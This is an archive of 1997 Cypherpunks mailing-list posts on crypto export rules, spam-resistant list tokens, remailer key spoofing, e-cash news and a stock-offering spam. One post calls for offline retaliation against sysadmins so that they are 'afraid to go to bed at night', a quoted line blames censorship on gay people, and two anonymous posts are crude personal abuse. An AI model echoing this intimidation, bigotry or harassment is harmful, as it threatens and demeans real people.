Date: Thu, 02 Jan 1997 02:11:04 PST
Subject: E-Cash IPO!  PCweek Mag!

    E-Cash IPO!   625,000 shares  -  $1.60 per share

            As seen in PCweek online magazine:
       http://www.pcweek.com/news/0826/27email.html

"E-commerce  startup offers digital cash to each user who
retrieves advertising  e-mail from its web site.  Digital
currency units can be converted into US dollars, Japanese
yen, Swiss francs, and German marks."

Millennium Interactive Technologies, developer of the first
ever system of advertiser funded digital cash system. (DCU)
is offering  625,000  common shares directly to the public.
The offering price is $1.60 per share.

Qualified  investors  can  obtain  a  printed  copy of the
offering  prospectus,  demo disk, and  additional  info on
how  you can  earn digital  cash for  looking at e-mail by
sending reply to:  mailto:latham@softcell.net





--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.vmeng.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stephen Boursy <boursy@earthlink.net>
Date: Thu, 2 Jan 1997 04:00:27 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: "Cypher punks" display arrogance and stupidity in the new year
In-Reply-To: <Pine.BSI.3.95.970101221025.12048B-100000@aloha.com>
Message-ID: <32CBA432.5EED@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr. Jai Maharaj wrote:
> 
> On Wed, 1 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>
>> ... Much of the time on the Internet, when some asshole pulls
>> plugs and tries to silence dissent, he turns out to be Gay....
> 
> How true!  The pattern seems to applt to most of the censors
> operating from the sewer known as lava.net .
> 
> Jai Maharaj
> Om Shanti


  Well--I could care less about their sexual preference but what
I do care about it proper justice/vengence.  When someone pulls
a users plug for anything short of system cracking they need
to be dealt with in such a way offline that the rest of the would
be censors are afraid to go to bed at night.  

   Quite seriously--and I believe we should move that discussion 
to one of the secure lists and perhaps even raise a bit of money 
to make a very striking example of a plug puller--I personally 
despise them in a manner that cannot even be put into words.

                          Steve




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 2 Jan 1997 07:18:25 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <3.0.32.19970102084815.006ab364@smtp1.abraxis.com>
Message-ID: <32CBD170.622C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Alec wrote:
> At 09:28 AM 12/31/96 -0800, you wrote:
> :So in order to post here, I hafta install and run PGP?  Well, people
> :were looking for the perfect formula to deny service to guys like me,
> :and guess what?  You found it!  I will *not* install and run PGP.

> Fill me in. Why do you  choose not to install and run PGP?

The only "software" I have newer than 1989 is Win95 and Netscape.
I only run these on one computer, to make net and email access easier.
My other computers run straight MS-DOS.  I had UNIX in 1986 on a
portable HP computer, but HP dropped support for it (what else is new).

If I had the time to do it, and I could get a concise written spec of
how to interface with whatever I need to, I'd write my own O/S and
datacomm software. So I make compromises where necessary for expediency.

PGP to me is not necessary (I can encrypt without it), but I do recognize
its proliteriat values.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Laszlo Vecsey <master@internexus.net>
Date: Thu, 2 Jan 1997 04:57:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: anonymous <-> anonymous; dcnets
Message-ID: <Pine.LNX.3.95.970102075601.1209A-100000@micro.internexus.net>
MIME-Version: 1.0
Content-Type: text/plain


Can someone point me towards a mailing list or two that is dedicated to
the discussion and development of dcnets?

Thank you!

- Lester

-
A recent study has found that concentrating on difficult off-screen
objects, such as the faces of loved ones, causes eye strain in computer
scientists.  Researchers into the phenomenon cite the added concentration
needed to "make sense" of such unnatural three dimensional objects.
-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 2 Jan 1997 06:02:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Cypher punks" display arrogance and stupidity in the new year
In-Reply-To: <199701020620.AAA17713@manifold.algebra.com>
Message-ID: <T2owZD2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> >
> > Here's a neat trick: if you want to list a file with line numbers, try:
> >
> > grep -n "^" file
>
> cat -n works faster.

Did you time it?

> > Of course this is too technical for the "cypher punks".
>
> 	- Igor.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 2 Jan 1997 06:04:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Extremism in the defense of liberty is no vice
In-Reply-To: <Pine.SOL.3.94.970102084101.17361A-100000@ritsec1.com.eg>
Message-ID: <k5owZD3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ABB Electrical Engineering  <abbee@ritsec1.com.eg> writes:

> Again, can anyone tell me how I can stop receiving this mail. I have to
> stay off for a month and I am afraid I will not be able to read it.

Is .eg in Egypt?

> Thanks & Happy New Year

Happy New Year to you too.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ABB Electrical Engineering  <abbee@ritsec1.com.eg>
Date: Wed, 1 Jan 1997 22:41:08 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Extremism in the defense of liberty is no vice
In-Reply-To: <32CB2A77.218F@gte.net>
Message-ID: <Pine.SOL.3.94.970102084101.17361A-100000@ritsec1.com.eg>
MIME-Version: 1.0
Content-Type: text/plain





Again, can anyone tell me how I can stop receiving this mail. I have to
stay off for a month and I am afraid I will not be able to read it.

Thanks & Happy New Year















On Wed, 1 Jan 1997, Dale Thorn wrote:

> Bill Frantz wrote:
> > At 10:54 AM -0800 12/31/96, Timothy C. May wrote:[snip]
> > I would say that the street action which effectively eliminated legally
> > mandated racial segregation about 25 years ago qualifies as a revolution.
> > People certainly put their bodies, and occasionally their lives, on the
> > line for it.  It didn't happen because the political powers that be decided
> > to do it.  It happened because people mobbed in the streets and made it
> > happen. The same argument applies to the actions which forced the withdrawal
> > from Vietnam. With the end of the cold war, and the ensuing reduction in
> > need for the entrenched national security establishment, we may be ripe
> > for another one. I personally hope our government will continue to show
> > that it is civilized by keeping the blood shed to a minimum.
> 
> I'll tell you exactly what they'll show.  They are a *lot* more hardened
> to civil unrest than they were at Kent State, etc.  This time, as in the
> late 1970's, the leaders, organizers, and other influential people will
> be removed, one way or the other.  Dissidents will be allowed, as long
> as (like Chomsky) they're not a real threat.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Thu, 2 Jan 1997 05:47:25 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Hardening lists against spam attacks
Message-ID: <3.0.32.19970102084815.006ab364@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:28 AM 12/31/96 -0800, you wrote:
:
:So in order to post here, I hafta install and run PGP?  Well, people
:were looking for the perfect formula to deny service to guys like me,
:and guess what?  You found it!  I will *not* install and run PGP.

Fill me in. Why do you  choose not to install and run PGP?


Cordially,

Alec                   

PGP Fingerprint:
Type bits/keyID    Date       User ID
pub  1024/41207EE5 1996/04/08 Alec McCrackin <camcc@abraxis.com>
          Key fingerprint =  09 13 E1 CB B3 0C 88 D9  D7 D4 10 F0 06 7D DF 31 
                             





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Thu, 2 Jan 1997 05:53:18 -0800 (PST)
To: JohnnyDaven@aol.com
Subject: Re: Would you be interested in SPAM?
Message-ID: <3.0.32.19970102085415.0069c7dc@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:51 AM 1/1/97 GMT, you wrote:

To cypherpunks@toad.com

:You can save a substantial amount of money on your next Florida
:Vacation and receive an adult pass to Universal Studios.
:
No adults here, Spamboy.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Thu, 2 Jan 1997 00:10:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: One-time pads
Message-ID: <199701020810.JAA21429@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


The arrival of warm weather is heralded by the pig shit (or whatever 
kind of shit Intel swines have for brains) getting soft in Timmy 
C[rook] Mayhem's mini-cranium and the resulting green slime seeping 
through his cocaine- and syphilis- damaged nose and onto his keyboard.

           o_,   o
          <\__, v|> Timmy C[rook] Mayhem
           |    < \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Liz Taylor <liz@nym.alias.net>
Date: Thu, 2 Jan 1997 01:26:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: premail.
In-Reply-To: <199612310718.BAA02863@manifold.algebra.com>
Message-ID: <19970102092611.13841.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


rcgraves@disposable.com (Rich Graves) wrote:
> Big Moma wrote:
> > 
> > ichudov@algebra.com (Igor Chudov @ home) wrote:[...]
> > > Maybe remailer operators should asks someone reputable to sign their
> > > remailers' keys so that the users can easily verify the signatures.
> > 
> >         Yes, that is one part of it. Another part is that Raph should
> > include a public PGP key in the premail program and then sign both the
> > remailer-list and the pubring at kiwi.cs.berkeley.edu with it.
> 
> Those resources are automatically generated by programs running on a 
> machine of unverified security on the Internet. A PGP signature doesn't 
> mean much in such a situation.

	Agreed. Considering that the remailer chains were designed to
withstand such sofisticated attacks as traffic analysis, it is too bad
the tool which most people probably use to access the remailers is
vulnerable to a simple spoofing attack such as this.

	I just realized that the spooks do not really need multiple
Mallories. If they want to wiretap a particular person, a Mallory on his/her
Internet link is all that is needed. This Mallory can spoof both the incoming
pubring.pgp and the outgoing encrypted mail.

	I suggest that if the `cypherpunks write code' motto has still
any value, we discuss ways to eliminate this vulnerability from premail.
Maybe we should take the discussion to cryptography, or coderpunks,
or even premail-dev?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 2 Jan 1997 07:38:39 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: "Cypher punks" display arrogance and stupidity in the new year
In-Reply-To: <T2owZD2w165w@bwalk.dm.com>
Message-ID: <199701021534.JAA20818@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> ichudov@algebra.com (Igor Chudov @ home) writes:
> 
> > Dr.Dimitri Vulis KOTM wrote:
> > >
> > > Here's a neat trick: if you want to list a file with line numbers, try:
> > >
> > > grep -n "^" file
> >
> > cat -n works faster.
> 
> Did you time it?
> 

Yes, I wrote a prog that quickly prints a specified number of lines
(see below). Then I piped the output of that program to cat -n and
grep, respectively, and here's what I got:

manifold::~/tmp==>./a.out 1000000 | /usr/bin/time cat -n > /dev/null
1.32user 0.05system 0:01.62elapsed 84%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (46major+17minor)pagefaults 0swaps

manifold::~/tmp==>./a.out 1000000 | /usr/bin/time grep -n '^' > /dev/null
19.75user 0.04system 0:20.71elapsed 95%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (88major+26minor)pagefaults 0swaps


The difference is about fifteen times.

	- Igor.


#include <stdio.h>

main( int argc, char *argv[] )
{

  int n = atoi( argv[1] );

  for( ; n; n-- )
    putchar( '\n' );
}




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 2 Jan 1997 07:28:15 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: Extremism in the defense of liberty is no vice
In-Reply-To: <v03007801aeef0dff9afe@[207.167.93.63]>
Message-ID: <199701021523.KAA14949@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain




Timothy C. May wrote:

| >The cypherpunks have virtually no force at all.  If the battle is
| >moved to that arena, the cypherpunks (and everybody else) lose big
| >time.  If the cypherpunks manage to pull off some sort of "extreme
| >step", those who aren't shot while resisting arrest will go to prison.
| >Worst of all, most people will applaud the action.  "Extreme steps"
| >legitimize the radical proposals of the Clipper crowd.
| 
| I gave up on trying to "appear reasonable" long ago. Take it or leave it.
| 
| "Extreme step" doesn't mean doing anything that is traceable to a
| particular person, and certainly doesn't mean doing militia-type things to
| physical buildings or the criminals who work in them.
| 
| Rather, pushing for things like violating the ITARs, which we do. (Bill
| Frantz noted, tongue in cheek I think, that Cypherpunks do not adovacate
| breaking such laws. Well, this is of course absurd. Our whole focus on
| steganography, on remailers, on carrying CD-ROMs out of the country, etc.,
| is basically advocating various circumventions of USG laws.)
| 
| Gilmore's SWAN (getting machine-to-machine links widely encrypted) is
| another "extreme step."
| 
| As to our "reasonableness," I make little effort to hide the fact that I
| support strong cryptography because it means that the plague of democracy
| and "mob rule" can be turned back...I view crypto anarchy as an elitist
| development, one which the ubermensch will appreciate, but the masses will
| recoil in horror from.
| 
| Fuck the herd.

	Crypto anarchy is not an elitist development, nor is
'equalizing.'  The privacy and tax avoidance features of crypto
anarchy are already available to the very wealthy, as Unicorn can
doubtless explain.  They are not available to the moderately wealthy,
nor are they easy to take advantage of.

	I'll declare victory the day McSwitzerland starts advertising
for business in the pages of Newsweak.

	Cheap, easy, universal access to the techniques of tax
avoidance, binding contracts with escrowed bonds in jurisdictions with
unemasculated contract law mean that things available only to the very
rich are available to anyone who chooses to use them.

	Tim sees this as eliteness, since those who gain will be self
selected.  I see it as a democritization of privacy, one the
'masses' will be glad to be involved with, if its presented properly.
(See 'The Great Simoleon Caper' for more on proper presentation.)


Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Thu, 2 Jan 1997 11:44:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hardening lists against spam attacks
Message-ID: <199701021834.KAA07300@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


I think this is an interesting theoretical discussion, although it's
not clear whether it is actually a good idea to try implementing this.

From: nobody@replay.com (Anonymous)
> A very good scheme, but why not give each subscriber a token when s/he
> subscribes? Something along the lines of:
>
> - - - - - - - - - - - - - - - - - - - -
> Welcome to Cypherpunks.
>
> Your unique token is: 0A553FC1771623109504522E31C07F44
>
> This token must appear either as the first line of the message body or in an
> X-Token: header for any mail you send to the list. Any messages sent to the
> list
> address without this information will be discarded.
> [...]
> Bob wants to post something anonymously. His token isn't associated with his
> user ID -- the only thing Majordomo knows about it is that it's in the token
> file and it's flagged as active. He sends the message through the remailer
> network with his token in it, and Majordomo validates it, strips it out, and
> passes the message to the subscribers, decrementing the number of messages Bob
> has remaining for that day.

This requires Bob to trust the server to keep his identity secret.
Although you _say_ that majordomo didn't associate the token with
the userid, how does Bob know that?  Certainly majordomo did, when
Bob subscribed, see the association between the userid and the token.
Now he has to trust that it has been forgotten.  Even if it has, what
about eavesdroppers on the list channel?  What about the operator on the
machine, who is peeking at what majordomo is doing?  This mechanism will
not provide enough anonymity for most posters.

An alternative similar to what I proposed earlier is for majordomo to
provide a blinded token, one which it doesn't see.  This would be used
specifically for anonymous postings.  It does have the problem that it
allows linking postings by the same pseudonymous nym - all will have the
same token.  But maybe we want to encourage that.

(The full proposal I made involved use-once tokens, just like online
digital cash, so that there would be no linkage and it would allow
real anonymity.)

> Mallory wants to spam the list. He subscribes and gets a token, which he
> uses to
> forward commercial announcements to the list. The list manager checks the logs
> to see which token was used, and reduces its posting limit or invalidates it.
> Mallory is no longer allowed to post, unless his token is reinstated (or he
> unsubscribes and resubscribes).

This unsubscribe/resubscribe issue has been mentioned before as a problem.
I am not too concerned with it, for a few reasons.  First, it may not be
too difficult to recognize that it is happening.  If the same user name is
used we can prevent issuing new tokens on an unsubscribe/resubscribe cycle.
If different user names are used but common domain names (an attack which
many people could mount) we could recognize that with somewhat more difficulty,
and mark those domains as special.  Most people would have trouble getting
lots of different accounts with different domain names.  Eric Hughes maxim,
"all crypto is economics", applies here.  We can easily make it much more
difficult for flooding attacks to occur.

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 2 Jan 1997 07:43:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: FIPS for AES
Message-ID: <1.5.4.32.19970102153923.006bfbf0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Federal Register: January 2, 1997, Pages 93-94.
 
Announcing Development of a FIPS for Advanced Encryption Standard

Agency: NIST
Notice; Request for comments.

-----------------------------------------------------------------------

Summary: A process to develop a FIPS for Advanced Encryption Standard 
(AES) incorporating an Advanced Encryption Algorithm (AEA) is being 
initiated by the NIST. It is intended that the AES will specify an 
unclassified, publicly disclosed encryption algorithm capable of 
protecting sensitive government information well into the next century.

[Described as a successor for DES by 1998.]

-----

http://jya.com/aes010297.txt  (8K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: alzheimer@juno.com (Ronald Raygun Remailer)
Date: Thu, 2 Jan 1997 08:08:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Copyright violations
Message-ID: <19970102.100832.12295.0.alzheimer@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Happy New Year.


Associated Press: Monday, December 23, 1996
 
Three Credit Card Firms Seek To Promote Internet Shopping 
 
Three credit card companies on Monday announced an agreement on chip card

standards in an
effort to promote shopping on the Internet. 
 
Europay International, MasterCard International and Visa International
said in 
a statement that they'll
integrate in chip bank cards a technology developed for safe electronic 
payments. 
 
The agreement is based on the Europay-MasterCard-Visa specification,
which 
established the
financial industry's first global chip card payment infrastructure, and
on 
MasterCard and Visa's
Secure Electronic Transactions specification for magnetic stripe-based
card 
transactions. 
 
Guido Heyns, director of 'smart card' development at Europay
International, 
said in the statement
that the Belgium-based company believes chip cards are the most secure
and 
consumer-friendly
solution for making payments on the Internet. 
 
Steve Mott, senior vice president of MasterCard International, agreed. 
'Consumers and merchants
want to conduct transactions over the Internet in a safe manner. By
integrating 
chip and electronic
commerce technologies, we are offering them the opportunity to do so as
quickly 
and practically as
possible.' 
 
An open comment period on the new standard will begin in the third
quarter of 
1997, according to
the statement. 
 

 
American Banker: Monday, December 23, 1996
 
As the Technology Advances, Security Debate Still Rages
 
By JEFFREY KUTLER
 
In one of the more startling public statements by a banker in 1996,
Citicorp 
chairman John Reed
said it would take two generations -- 50 to 70 years -- for on-line
electronic 
banking to gain full
public acceptance. 
 
Taken out of context, his remarks to a Treasury Department conference on 
electronic money
sounded like an invitation to complacency, or a dose of disinformation
from one 
of the world's more
aggressive purveyors of electronic financial services.
 
But Mr. Reed chose his words carefully, citing a lesson learned from his 
30-plus years at Citicorp:
Banking markets, and society generally, take time to change. He seemed to

suggest that
high-technology advocates can become so enthralled with the elegance of
their 
systems and
convinced of their viability that they overlook the most common of all 
constraints: consumer
behavior.
 
"Privacy and security are at the top of the list" of consumers' concerns,
the 
Citicorp chief executive
said. "They won't deal with anyone who doesn't give them assurance."
While 
"some early innovators
will be your electronic banking customers," he said, "the average
consumer is 
not there yet and isn't

going to be there" for some time. "This is not a question of economics or

efficiency. It is a question of
trust. The consumer will have to trust you. The Internet is fundamentally

flawed in that regard."
 
Essentially alone among the major U.S. banking organizations, Citicorp
has been 
openly wary of
Internet security and refrained from joining the rush to interactive
banking 
and monetary transactions
via the World Wide Web. Mr. Reed and his senior technology officer, Colin
Crook,
 have publicly
expressed interest in and enthusiasm for the Web but not yet for
transactional 
purposes.
 
When Mr. Reed was asked during the Treasury conference in September when
Citi 
would offer
Internet banking, he replied, "Not until it's secure." "There is no
absolute 
security," said Mr. Crook,
perhaps the only banker raising concerns about an "information warfare"
attack 
on the banking
system. "It is a risk management issue."
 
The Citibankers contend the risks of cyberspace are fundamentally
different 
from those in other
payment systems, and have yet to be addressed.
 
"Security will be more demanding than even the government itself is used
to," 
Mr. Crook said at the
Treasury meeting
 serves more customers via personal computer than any other, through 
conventional dial-up
connections and with software it developed more than a decade ago. 
 
Citibank also has placed a bet on a digital currency for on-line
transactions, 
the invention of one of
its own vice presidents, Sholom Rosen. The bank claims it will be more
secure 
than competing
alternatives like Cybercash Inc.'s Cybercoins, Digicash Inc.'s Ecash, and
the 
Mondex
smart-card-based system.
 
Putting considerable prestige and intellectual firepower behind its
cautionary 
principles, and behind
the notion that the issuing of electronic currency should be reserved for

regulated financial
institutions, Citicorp has kept alive a debate that is likely to resound
for 
months if not years in public
policy circles, with effects not just on the battle for technical and 
competitive superiority but on the
very consumer behavior Mr. Reed is trying to gauge.
 
Consider some recent twists and turns: The U.S. government continues to 
struggle toward a policy
on data encryption, the technology crucial to on-line transaction
security, 
that would be agreeable to
the high-tech community while addressing national security and law
enforcement 
concerns.
 
A May 1996 report by the National Research Council of the National
Academy of 
Sciences --
Citicorp participated in and vocally endorsed the study -- criticized the

government for being
backward with its restrictions on encryption, particularly regarding its
export.
 (See related article on
page 14A.)
 
Hewlett-Packard Co. in November announced its International Cryptography 
Framework, the first
"strong encryption" method to get U.S. export clearance. While the
framework is 
adaptable to
various and changing government policies, it did not fully resolve the 
controversial issue of access to
encryption keys. 
 
An information security team at the National Security Agency produced a 
monograph (excerpted at
left) critical of the degree of anonymity built into Digicash's Ecash.
The NSA, 
of course, is part of the
establishment attacked in the National Research Council report.
 
Digicash and Mondex, which is being taken over by MasterCard
International, 
continually trade
charges about their degrees of anonymity and security. Both sell
anonymity of 
payments as a
necessary analogue to cash. In that Digicash's anonymity appears more
absolute, 
it may raise more
governmental concerns. But Digicash, the brainchild of the renowned 
cryptologist David Chaum,

accuses Mondex of not being "true electronic cash." 
 
First Virtual Holdings Inc., an Internet payment pioneer, does not trust
Web 
security; its transaction
data flow instead over private E-mail. By contrast, Cybercash Inc.
chairman 
William Melton is so
confident of the available technology that he tells bankers: "Security is

essentially done. Just tell your
customers, 'Don't worry, we'll take care of it.' " (He is more worried
about 
privacy as a political
flashpoint.)
 
Enter the central banks of the Group of 10 industrialized countries, the 
constituents of the Bank for
International Settlements in Basel, Switzerland. This august global
regulatory 
body has signed off on
a moderate, largely laissez-faire approach to the electronic evolution of
money.
 
 
A task force empaneled by the G-10's payment and settlement systems
committee, 
which is headed
by Federal Reserve Bank of New York president William McDonough, spelled
out 
its conclusions
in a 64-page booklet, "Security of Electronic Money," dated August 1996. 
 
The task force was generally impressed by existing security capabilities,

particularly those
incorporating hardware components like smart cards. The report took the 
eight-member task force
less than a year to complete. 
 
Chairman Israel Sendrovic, the New York Fed's executive vice president of

automation and systems
services, asserts that this was no rush to judgment. He personally did
due 
diligence on all of what he
calls "the usual suspects" -- the electronic money schemes not mentioned
by 
name in his report (but
presumably in this article).
 
In a recent interview, Mr. Sendrovic stressed that there are no
absolutes. 
"There is no such thing as
one secure measure," he said. "It's a combination of measures, and the 
combination of measures
changes the risk management of an attack."
 
His measured response to a lot of questions - pertaining to money
laundering or 
the market potential
of electronic currency and how it is to be regulated -- was, "It
depends." He 
did say, in response to
the recent flurry of questions about smart card security emanating from 
Bellcore and other research
laboratories, that the cards were advertised as "tamper-resistant, not
tamper- 
proof." 
 
Mr. Sendrovic said his panel has disbanded, satisfied with its work and
having 
gotten positive
feedback. "Then again, it didn't break new ground," he said. "Remember,
it was 
designed not for the
cognoscenti but for the Group of 10 governors. 
 
"We stay in close touch and follow these things," he said of the task
force, 
adding that it may have
cause to renew its inquiry in a year or two. Though the task force
acknowledged 
"comprehensive
security risk assessments of the entire system" are still lacking, it
said they 
are within reach. 
 
And its words lacked the alarm or urgency of, say, the Citicorp
contingent. 
Sholom Rosen, inventor
of Citibank's Electronic Monetary System, characterized the risks as
"very 
high" and not yet fully analyzed. Digital cash gains legitimacy when it
is interchangeable with other  forms of money, he said, but its
interactions with those systems -- how an attack on one mechanism would 
affect others -- must be studied.
 
And he said he believes the answers do not lie in technology alone but in
the 
fundamentals of the "three pillars of security" -- prevention, detection,
and containment. Where Mr. Rosen sees enormous hazard, Mr. Sendrovic
retains faith in barriers to entry, as might be  expected of someone who
has worked with the dependable Fed Wire for many years.
 
To be legitimate, electronic money "has to be cleared," he said. "At some
point  it has to get into the payment system." Is "the payment system" at
risk of infection from the new  forms of money? Based on what we know so
far, it depends.
 

 ABA Banking Journal, 12/96

SMART CARDS POSE TAX PROBLEM FOR MERCHANTS  

A consensus is emerging that the success of smart cards hinges at least
as much on merchants accepting them as on consumer acceptance. Increased
tax liability is one reason for merchants' muted enthusiasm -- besides
the fact that merchants are the only ones so far being asked to pay for
using smart cards."There's a resistance to forms of payment besides
cash," said Bruce Brittain, whose firm Brittain Associates, Inc., polled
merchants that participated in the smart card test during the 1996 Summer
Olympics in Atlanta. Some merchants admitted to understating their cash
receipts so as to reduce their tax burden, he said. (Smart cards leave an
electronic audit trail by recording deductions in card value each time
merchandise is purchased.)  On the flip side, franchisors may push for
the adoption of smart cards in their stores, since some Atlanta operators
told Brittain, "We want to collect more fees from our franchisees." (The
franchisor's cut of the receipts will be reduced if the franchisee
understates his receipts.) Other sources said they heard the same thing.
The wish to under report receipts may pose a greater obstacle to smart
cards when they undergo their next major test in New York City next year,
because more "Mom and Pop" stores will be participating, Mr. Brittain
said.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 2 Jan 1997 08:39:57 -0800 (PST)
To: aba@dcs.ex.ac.uk (Adam Back)
Subject: Re: benefits of EAR (not)?
In-Reply-To: <199701011823.SAA01596@server.test.net>
Message-ID: <199701021635.LAA15145@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:

| Reading through "http://jya.com/bxa123096.txt":
| 
| >     1. This interim rule has been determined to be significant for
| > purposes of E.O. 12866. A cost benefit analysis has been prepared and
| > is available upon request by contacting James A. Lewis at (202) 482-
| > 0092.
| 
| Anyone availed themselves of this offer of a CBA for EAR?  Just
| curious as to what the supposed benefits are :-)

	I called that number, was told I needed to talk to Bruce Kutz,
202 482 4439, who offered to fax it to me, but since I'll be pretty
busy I had him snail mail it.  Easier to read that way.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Clinton Weiss <Chipper@cris.com>
Date: Thu, 2 Jan 1997 10:09:22 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: benefits of EAR (not)?
In-Reply-To: <199701021635.LAA15145@homeport.org>
Message-ID: <Pine.SUN.3.95.970102130849.10477A-100000@voyager.cris.com>
MIME-Version: 1.0
Content-Type: text/plain


get me the hell off this damn list





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Thu, 2 Jan 1997 13:42:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New crypto regulations
In-Reply-To: <32cc13c3.83442324@kdn0.attnet.or.jp>
Message-ID: <5ah9ub$7th@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


In article <199612301517.KAA01543@pdj2-ra.F-REMOTE.CWRU.Edu>,
Peter D. Junger <junger@pdj2-ra.F-REMOTE.CWRU.Edu> wrote:
> 
> : Does this mean that if a journal published an article on some strong
> : non-key escrow encryption algorithm that included source code, it
> : could not later offer that same article on a CD-ROM collection?  or
> : provide that same source code online?
> 
> That is exactly what the new regulations seem to provide.  An interesting
> question is what is the status of all those issues of Byte and Dr.
> Dobb's that do have cryptopraphic source code and that are currently
> available on the net.  Or are there any such articles?
> 

Here's one.  Ian Goldberg and I wrote a Dr. Dobb's Journal article on
Netscape's insecure random number generation.  It contained a few short
snippets of code that described how Netsape's PRNG seeding process
worked.  I believe that they may fall under the category of 'cryptographic
source code'.  And...guess what... DDJ in fact published the article
online at

http://www.ddj.com/ddj/1996/1996.01/wagner.htm

Here's a citation:

Ian Goldberg and David Wagner.  "Randomness and the Netscape Browser".
Dr. Dobb's Journal, January 1996.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Thu, 2 Jan 1997 11:25:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: NoneOne-time pads
Message-ID: <199701021924.OAA19621@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May is just a poor excuse for an unschooled, 
retarded thug.

        /'''
        c-OO Tim May
           \
          -





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 2 Jan 1997 14:40:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: New rules for Internet sales to CA buyers
Message-ID: <3.0.32.19970102144026.0069bc00@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



The following subsection of California Business & Professions Code section
17538 took effect 1/1/97 and may be of interest to people following state
attempts to regulate net sales:

[...]
   (d) A vendor conducting business through the Internet or any other
electronic means of communication shall do  all of the following
when the transaction involves a buyer located in California:
   (1) Before accepting any payment or processing any debit or credit
charge or funds transfer, the vendor shall disclose to the buyer in
writing or by electronic means of communication, such as E-mail or an
